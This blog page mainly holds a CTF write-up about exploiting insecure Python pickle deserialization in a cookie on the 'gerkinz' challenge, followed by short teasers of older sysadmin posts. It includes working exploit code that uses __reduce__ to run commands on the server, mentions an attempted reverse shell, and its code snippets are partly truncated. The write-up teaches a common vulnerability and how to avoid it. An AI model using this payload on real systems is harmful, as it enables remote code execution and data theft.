AIRGAP2020 CTF 2020 write up

Sun 03 May 2020 by tvd

This weekend I worked on the #AIRGAP2020 CTF with the CTF_Circle team. As a group we finished 1st overall!

This post walks through one flag, which shows why python pickle should not be used with user submitted data.


The challenge was called gerkinz and was hosted at Visiting that site shows a login form with a login text form. Submitting any username loads a new page with that username.

Looking at what's happening, we can see there is a form that does a POST /login with body of user=<inputted name>. It's also worth noting that the web server is using python and werkzeug (this is important later).

$ curl -vs ''
< Server: Werkzeug/1.0.1 Python/3.8.2
    <form action="/login" method="post">
        <input type="text" name="user" />
        <input type="submit" value="login" />

The response from POST /login is a 302 Found response that redirects back to the home page. It also sets a cookie.

$ curl -vs -X POST '' -d'user=i_am_admin'
< HTTP/1.0 302 FOUND
< Location:
< Set-Cookie: user=gASVQgAAAAAAAAB9lCiMBG5hbWWUjAppX2FtX2FkbWlulIwJbGFzdGxvZ2lulIwaMjAyMC0wNS0wM1QxOTowNzowMS4xNjc4NziUdS4=; Path=/

The cookie appears to be base64 encoded and based on the form we hypothesize that the home page is reading that cookie to populate the user name. To confirm that, we decode the cookie:

$ echo 'gASVQgAAAAAAAAB9lCiMBG5hbWWUjAppX2FtX2FkbWlulIwJbGFzdGxvZ2lulIwaMjAyMC0wNS0wM1QxOTowNzowMS4xNjc4NziUdS4=' | base64 -d
i_am_admin      lastlogin2020-05-03T19:07:01.167878u.

Doing this in python shows there are several characters hidden by the terminal:

>>> import base64
>>> decoded = base64.b64decode('gASVQgAAAAAAAAB9lCiMBG5hbWWUjAppX2FtX2FkbWlulIwJbGFzdGxvZ2lulIwaMjAyMC0wNS0wM1QxOTowNzowMS4xNjc4NziUdS4=')
>>> decoded

We took a guess that this was the pickle serialization format (this is a ctf, after all) and that proved correct! The cookie is a dictionary with keys for name and lastlogin:

>>> import pickle
>>> unpickled = pickle.loads(decoded)
>>> unpickled
{'name': 'i_am_admin', 'lastlogin': '2020-05-03T19:07:01.167878'}
>>> type(unpickled)
<class 'dict'>

The python pickle documentation warns about accepting pickles from untrusted sources.

To execute arbitrary code from an object we pickle, we use the __reduce__() method. It takes no arguments and can return a tuple that has a callable and arguments used to create the initial version of the object that was pickled. We use that to return subprocess.check_output, which runs whatever command we give as an argument and returns stdout as bytes.

This is the python code we ended up with for creating a malicious cookie and then sending it to the server. The pickled cookie works by setting the value of 'name' in the cookie dictionary to the output of 'cat flag.txt'. Then when the home page is sent back to the user, it will say 'welcome <the flag>!'. Make sure to install the requests library before running.

import base64
import pickle
import requests

class PickleRce(object):
    def __reduce__(self):
        import subprocess
        return subprocess.check_output, (['/bin/cat', 'flag.txt'],)

def cli():
    pickled_dict = pickle.dumps({
        'name': PickleRce(),
        'lastlogin': '2020-05-02T18:32:56.238336',
    base64_it = base64.b64encode(pickled_dict)
    resp = requests.get('', cookies={'user': str(base64_it, 'utf8')})

if __name__ == '__main__':

Running this code outputs the html for the home page with the flag:

<h1>welcome b'thug{...}'!</h1>

We got lucky and guessed that the flag was in a flag.txt in the working directory for the web server—that's a common pattern for CTFs. If that had not been the case, we could have used other shell commands to investigate the file system, running processes, scan the network, check environmnent variables, and things like that. We did try to get a reverse shell on the box, but that didn't work (our guess is the egress rules for that system prevented outbound network traffic).


  1. Don't use pickle for serialization of untrusted user submitted data. If storing these data in a cookie was important, keeping it simple and setting individual string cookies for each value would be safer than serializing the dictionary.
  2. Working with teammates on CTFs is a great way to learn!

Metasploit community CTF 2020 write up

Wed 05 February 2020 by tvd

This past weekend I worked on the Metasploit community CTF with the CTF_Circle team. As a group we finished 9th overall! The rest of this post includes a write up of three flags the team captured (out of the seven total). Capturing all three of these flags was a collaborative …

read more

Better Puppet Module Development through Testing - CasitConf 2013

Sat 06 April 2013 by tvd

I spoke about testing puppet modules at this year's Cascadia IT Conference in Seattle. The conference was great; I met a lot of great people and received a lot of feedback on my presentation.

Download the slides

read more

Quickly validate puppet manifests in a git repo.

Mon 17 September 2012 by tvd

I have been bitten on more than one occasion with a forgotten curly brace or missing comma in a puppet manifest. So, I wrote a little git post-commit script that will validate all manifests in a repo. I have tested it on a repo with ~60 modules and ~400 manifests …

read more

My first puppet forge contribution: redis

Tue 15 May 2012 by tvd

Today I contributed my very first puppet module back to the community! thomasvandoren/redis is a puppet module to install, configure, and manage redis. It is by no means finished, but it is working. I didn't see any other redis modules in puppet forge, so I thought I would share …

read more

Fixing Master Boot Record on Windows 7

Sat 15 October 2011 by tvd

I recently removed the linux partition from my desktop. I had a linux partition, but it made sense to just use one windows partition and run linux in a vm.

Removing the partition is not a big deal. I just used the Windows Disk Management tool to remove the linux …

read more

Monitoring RabbitMQ Queues with Zabbix

Sun 09 October 2011 by tvd

Recently I setup some monitoring on a RabbitMQ server using Zabbix. This process is by no means difficult, but I thought it was worth sharing.

I was looking for a solution that did not require additional plugins or packages, but would perform well. Some useful tools for monitoring include: the …

read more

Jenkins Windows Slave with Git

Tue 27 September 2011 by tvd

There are some articles out there about setting up Jenkins slaves on Windows. This is one more, with a bunch of information about configuring Git. The documentation for setting up Git to work well with Jenkins is surprisingly sparse and the process is extremely frustrating (in my experience). Hopefully this …

read more

Five python tips

Thu 22 September 2011 by tvd

I have been using python at work for the last year, and had fooled around with it for five years prior to that. I am by no means an encyclopedia of python knowledge, but here are a few pointers that were not obvious to me when I was getting started …

read more